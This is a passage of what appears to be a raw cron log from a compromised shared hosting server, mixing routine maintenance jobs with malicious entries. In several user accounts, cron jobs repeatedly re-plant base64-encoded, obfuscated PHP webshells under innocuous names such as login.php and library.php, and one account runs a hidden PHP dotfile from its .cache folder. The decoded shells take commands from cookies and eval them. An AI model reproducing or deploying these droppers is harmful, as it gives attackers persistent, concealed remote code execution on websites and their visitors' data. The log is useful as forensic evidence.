jo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:04:01 medusa CROND[3627]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 02:04:01 medusa CROND[3628]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:04:01 medusa CROND[3629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:04:01 medusa CROND[3630]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:04:01 medusa CROND[3631]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:04:01 medusa CROND[3637]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:04:01 medusa CROND[3644]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:04:01 medusa CROND[3643]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:05:01 medusa CROND[9057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 02:05:01 medusa CROND[9092]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 02:05:01 medusa CROND[9262]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:05:01 medusa CROND[9263]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 02:05:01 medusa CROND[9264]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:05:01 medusa CROND[9269]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 02:05:01 medusa CROND[9268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:05:01 medusa CROND[9270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:05:01 medusa CROND[9273]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 02:05:01 medusa CROND[9272]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 02:05:01 medusa CROND[9277]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 02:05:01 medusa CROND[9286]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:05:01 medusa CROND[9287]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:05:01 medusa CROND[9281]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 02:05:01 medusa CROND[9288]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:05:01 medusa CROND[9282]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 02:05:01 medusa CROND[9291]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:05:01 medusa CROND[9293]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:05:01 medusa CROND[9295]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:05:01 medusa CROND[9290]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 02:05:01 medusa CROND[9302]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 02:05:01 medusa CROND[9305]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:05:01 medusa CROND[9308]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 02:05:01 medusa CROND[9326]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 02:06:01 medusa CROND[15166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:06:01 medusa CROND[15167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:06:01 medusa CROND[15331]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 02:06:01 medusa CROND[15356]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:06:01 medusa CROND[15357]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:06:01 medusa CROND[15360]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:06:01 medusa CROND[15361]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:06:01 medusa CROND[15362]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 02:06:01 medusa CROND[15365]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:06:01 medusa CROND[15366]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 